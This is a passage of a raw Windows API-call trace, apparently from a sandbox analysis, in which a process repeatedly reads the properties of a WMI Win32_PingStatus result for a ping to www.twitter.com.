This=0x5f6e0e8, wszName="__NAMESPACE", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2599548*=0, plFlavor=0x259954c*=0 | out: pVal=0x5bde9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x2599548*=8, plFlavor=0x259954c*=64) returned 0x0 [0159.135] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0159.135] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0159.135] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__PATH", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2599594*=0, plFlavor=0x2599598*=0 | out: pVal=0x5bde9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x2599594*=8, plFlavor=0x2599598*=64) returned 0x0 [0159.135] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d6 [0159.135] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d6 [0159.135] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bdea10 | out: puCount=0x5bdea10*=0x2) returned 0x0 [0159.135] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bdea0c*=0x0, pszText=0x0 | out: puBuffLength=0x5bdea0c*=0xf, pszText=0x0) returned 0x0 [0159.135] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bdea0c*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bdea0c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0159.135] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="WriteWarningStream", lFlags=0, pVal=0x5bdea0c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25997cc*=0, plFlavor=0x25997d0*=0 | out: pVal=0x5bdea0c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25997cc*=0, plFlavor=0x25997d0*=0) returned 0x80041002 [0159.135] GetErrorInfo (in: dwReserved=0x0, pperrinfo=0x5bde9f0 | out: pperrinfo=0x5bde9f0*=0x0) returned 0x1 [0159.136] CoGetClassObject (in: rclsid=0x5f6dc04*(Data1=0xeb87e1bd, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x5bde650 | out: ppv=0x5bde650*=0x5f85220) returned 0x0 [0159.137] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5f85220, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x5bde868 | out: ppvObject=0x5bde868*=0x0) returned 0x80004002 [0159.137] WbemStatusCodeText:IClassFactory:CreateInstance (in: This=0x5f85220, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5bde874 | out: ppvObject=0x5bde874*=0x5f85240) returned 0x0 [0159.137] WbemStatusCodeText:IUnknown:Release (This=0x5f85220) returned 0x0 [0159.137] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5f85240, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5bde494 | out: ppvObject=0x5bde494*=0x5f85240) returned 0x0 [0159.137] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5f85240, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x5bde448 | out: ppvObject=0x5bde448*=0x0) returned 0x80004002 [0159.137] WbemStatusCodeText:IUnknown:AddRef (This=0x5f85240) returned 0x3 [0159.137] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5f85240, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x5bddda4 | out: ppvObject=0x5bddda4*=0x0) returned 0x80004002 [0159.137] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5f85240, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x5bddd54 | out: ppvObject=0x5bddd54*=0x0) returned 0x80004002 [0159.137] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5f85240, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5bddd60 | out: ppvObject=0x5bddd60*=0x0) returned 0x80004002 [0159.137] CoGetContextToken (in: pToken=0x5bdddc0 | out: pToken=0x5bdddc0) returned 0x0 [0159.137] CoGetContextToken (in: pToken=0x5bde1d4 | out: pToken=0x5bde1d4) returned 0x0 [0159.137] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5f85240, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5bde254 | out: ppvObject=0x5bde254*=0x0) returned 0x80004002 [0159.137] WbemStatusCodeText:IUnknown:Release (This=0x5f85240) returned 0x2 [0159.137] WbemStatusCodeText:IUnknown:Release (This=0x5f85240) returned 0x1 [0159.137] CoGetContextToken (in: pToken=0x5bde854 | out: pToken=0x5bde854) returned 0x0 [0159.138] CoGetContextToken (in: pToken=0x5bde7b4 | out: pToken=0x5bde7b4) returned 0x0 [0159.138] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5f85240, riid=0x5bde884*(Data1=0xeb87e1bc, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), ppvObject=0x5bde880 | out: ppvObject=0x5bde880*=0x5f85240) returned 0x0 [0159.138] WbemStatusCodeText:IUnknown:AddRef (This=0x5f85240) returned 0x3 [0159.138] WbemStatusCodeText:IUnknown:Release (This=0x5f85240) returned 0x2 [0159.138] WbemStatusCodeText:IWbemStatusCodeText:GetErrorCodeText (in: This=0x5f85240, hRes=0x80041002, LocaleId=0x0, lFlags=1, MessageText=0x5bde9e4 | out: MessageText=0x5bde9e4*="Not found ") returned 0x0 [0159.138] SysStringByteLen (bstr="Not found ") returned 0x14 [0159.139] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde9d4 | out: puCount=0x5bde9d4*=0x2) returned 0x0 [0159.139] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde9d0*=0x0, pszText=0x0 | out: puBuffLength=0x5bde9d0*=0xf, pszText=0x0) returned 0x0 [0159.139] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde9d0*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde9d0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0159.139] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde9d4 | out: puCount=0x5bde9d4*=0x2) returned 0x0 [0159.139] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde9d0*=0x0, pszText=0x0 | out: puBuffLength=0x5bde9d0*=0xf, pszText=0x0) returned 0x0 [0159.139] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde9d0*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde9d0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0159.139] IWbemClassObject:GetNames (in: This=0x5f6e0e8, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x5bde9dc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x5bde9d0 | out: pNames=0x5bde9d0*="\x01ƀ\x04") returned 0x0 [0159.139] SafeArrayGetDim (psa=0x5f8aeb0) returned 0x1 [0159.139] SafeArrayGetDim (psa=0x5f8aeb0) returned 0x1 [0159.139] SafeArrayGetLBound (in: psa=0x5f8aeb0, nDim=0x1, plLbound=0x5bde868 | out: plLbound=0x5bde868) returned 0x0 [0159.139] SysStringByteLen (bstr="__GENUS") returned 0xe [0159.139] SysStringByteLen (bstr="__GENUS") returned 0xe [0159.139] SysStringByteLen (bstr="__CLASS") returned 0xe [0159.139] SysStringByteLen (bstr="__CLASS") returned 0xe [0159.139] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0159.139] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0159.139] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0159.140] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0159.140] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0159.140] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0159.140] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0159.140] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0159.140] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0159.140] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0159.140] SysStringByteLen (bstr="__SERVER") returned 0x10 [0159.140] SysStringByteLen (bstr="__SERVER") returned 0x10 [0159.140] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0159.140] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0159.140] SysStringByteLen (bstr="__PATH") returned 0xc [0159.140] SysStringByteLen (bstr="__PATH") returned 0xc [0159.140] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__GENUS", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2599bac*=0, plFlavor=0x2599bb0*=0 | out: pVal=0x5bde9cc*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x2599bac*=3, plFlavor=0x2599bb0*=64) returned 0x0 [0159.140] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__CLASS", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2599be0*=0, plFlavor=0x2599be4*=0 | out: pVal=0x5bde9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2599be0*=8, plFlavor=0x2599be4*=64) returned 0x0 [0159.141] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0159.141] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0159.141] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__SUPERCLASS", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2599c38*=0, plFlavor=0x2599c3c*=0 | out: pVal=0x5bde9cc*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2599c38*=8, plFlavor=0x2599c3c*=64) returned 0x0 [0159.141] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__DYNASTY", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2599c60*=0, plFlavor=0x2599c64*=0 | out: pVal=0x5bde9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2599c60*=8, plFlavor=0x2599c64*=64) returned 0x0 [0159.141] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0159.141] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0159.141] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__RELPATH", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2599cb8*=0, plFlavor=0x2599cbc*=0 | out: pVal=0x5bde9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x2599cb8*=8, plFlavor=0x2599cbc*=64) returned 0x0 [0159.141] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a6 [0159.141] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a6 [0159.141] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2599e94*=0, plFlavor=0x2599e98*=0 | out: pVal=0x5bde9cc*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x2599e94*=3, plFlavor=0x2599e98*=64) returned 0x0 [0159.141] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__DERIVATION", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2599ec8*=0, plFlavor=0x2599ecc*=0 | out: pVal=0x5bde9cc*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5f8af10*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5f85220, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x2599ec8*=8200, plFlavor=0x2599ecc*=64) returned 0x0 [0159.142] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__SERVER", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2599efc*=0, plFlavor=0x2599f00*=0 | out: pVal=0x5bde9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x2599efc*=8, plFlavor=0x2599f00*=64) returned 0x0 [0159.142] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0159.142] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0159.142] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__NAMESPACE", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2599f48*=0, plFlavor=0x2599f4c*=0 | out: pVal=0x5bde9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x2599f48*=8, plFlavor=0x2599f4c*=64) returned 0x0 [0159.142] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0159.142] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0159.142] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__PATH", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2599f94*=0, plFlavor=0x2599f98*=0 | out: pVal=0x5bde9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x2599f94*=8, plFlavor=0x2599f98*=64) returned 0x0 [0159.142] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d6 [0159.143] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d6 [0159.143] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bdea10 | out: puCount=0x5bdea10*=0x2) returned 0x0 [0159.143] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bdea0c*=0x0, pszText=0x0 | out: puBuffLength=0x5bdea0c*=0xf, pszText=0x0) returned 0x0 [0159.143] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bdea0c*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bdea0c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0159.143] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="WriteVerboseStream", lFlags=0, pVal=0x5bdea0c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x259a1d8*=0, plFlavor=0x259a1dc*=0 | out: pVal=0x5bdea0c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x259a1d8*=0, plFlavor=0x259a1dc*=0) returned 0x80041002 [0159.143] GetErrorInfo (in: dwReserved=0x0, pperrinfo=0x5bde9f0 | out: pperrinfo=0x5bde9f0*=0x0) returned 0x1 [0159.144] CoGetClassObject (in: rclsid=0x5f6dc04*(Data1=0xeb87e1bd, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x5bde650 | out: ppv=0x5bde650*=0x5f85220) returned 0x0 [0159.144] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5f85220, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x5bde868 | out: ppvObject=0x5bde868*=0x0) returned 0x80004002 [0159.144] WbemStatusCodeText:IClassFactory:CreateInstance (in: This=0x5f85220, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5bde874 | out: ppvObject=0x5bde874*=0x5f85250) returned 0x0 [0159.144] WbemStatusCodeText:IUnknown:Release (This=0x5f85220) returned 0x0 [0159.144] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5f85250, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5bde494 | out: ppvObject=0x5bde494*=0x5f85250) returned 0x0 [0159.144] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5f85250, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x5bde448 | out: ppvObject=0x5bde448*=0x0) returned 0x80004002 [0159.145] WbemStatusCodeText:IUnknown:AddRef (This=0x5f85250) returned 0x3 [0159.145] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5f85250, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x5bddda4 | out: ppvObject=0x5bddda4*=0x0) returned 0x80004002 [0159.145] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5f85250, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x5bddd54 | out: ppvObject=0x5bddd54*=0x0) returned 0x80004002 [0159.145] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5f85250, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5bddd60 | out: ppvObject=0x5bddd60*=0x0) returned 0x80004002 [0159.145] CoGetContextToken (in: pToken=0x5bdddc0 | out: pToken=0x5bdddc0) returned 0x0 [0159.145] CoGetContextToken (in: pToken=0x5bde1d4 | out: pToken=0x5bde1d4) returned 0x0 [0159.145] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5f85250, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5bde254 | out: ppvObject=0x5bde254*=0x0) returned 0x80004002 [0159.145] WbemStatusCodeText:IUnknown:Release (This=0x5f85250) returned 0x2 [0159.145] WbemStatusCodeText:IUnknown:Release (This=0x5f85250) returned 0x1 [0159.145] CoGetContextToken (in: pToken=0x5bde854 | out: pToken=0x5bde854) returned 0x0 [0159.145] CoGetContextToken (in: pToken=0x5bde7b4 | out: pToken=0x5bde7b4) returned 0x0 [0159.145] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5f85250, riid=0x5bde884*(Data1=0xeb87e1bc, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), ppvObject=0x5bde880 | out: ppvObject=0x5bde880*=0x5f85250) returned 0x0 [0159.145] WbemStatusCodeText:IUnknown:AddRef (This=0x5f85250) returned 0x3 [0159.145] WbemStatusCodeText:IUnknown:Release (This=0x5f85250) returned 0x2 [0159.145] WbemStatusCodeText:IWbemStatusCodeText:GetErrorCodeText (in: This=0x5f85250, hRes=0x80041002, LocaleId=0x0, lFlags=1, MessageText=0x5bde9e4 | out: MessageText=0x5bde9e4*="Not found ") returned 0x0 [0159.145] SysStringByteLen (bstr="Not found ") returned 0x14 [0159.146] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde9d4 | out: puCount=0x5bde9d4*=0x2) returned 0x0 [0159.146] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde9d0*=0x0, pszText=0x0 | out: puBuffLength=0x5bde9d0*=0xf, pszText=0x0) returned 0x0 [0159.146] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde9d0*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde9d0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0159.146] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde9d4 | out: puCount=0x5bde9d4*=0x2) returned 0x0 [0159.146] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde9d0*=0x0, pszText=0x0 | out: puBuffLength=0x5bde9d0*=0xf, pszText=0x0) returned 0x0 [0159.146] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde9d0*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde9d0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0159.147] IWbemClassObject:GetNames (in: This=0x5f6e0e8, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x5bde9dc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x5bde9d0 | out: pNames=0x5bde9d0*="\x01ƀ\x04") returned 0x0 [0159.147] SafeArrayGetDim (psa=0x5f8afd0) returned 0x1 [0159.147] SafeArrayGetDim (psa=0x5f8afd0) returned 0x1 [0159.147] SafeArrayGetLBound (in: psa=0x5f8afd0, nDim=0x1, plLbound=0x5bde868 | out: plLbound=0x5bde868) returned 0x0 [0159.147] SysStringByteLen (bstr="__GENUS") returned 0xe [0159.147] SysStringByteLen (bstr="__GENUS") returned 0xe [0159.147] SysStringByteLen (bstr="__CLASS") returned 0xe [0159.147] SysStringByteLen (bstr="__CLASS") returned 0xe [0159.147] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0159.147] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0159.147] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0159.147] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0159.147] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0159.147] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0159.147] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0159.147] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0159.147] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0159.147] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0159.147] SysStringByteLen (bstr="__SERVER") returned 0x10 [0159.147] SysStringByteLen (bstr="__SERVER") returned 0x10 [0159.147] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0159.147] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0159.147] SysStringByteLen (bstr="__PATH") returned 0xc [0159.148] SysStringByteLen (bstr="__PATH") returned 0xc [0159.148] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__GENUS", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, 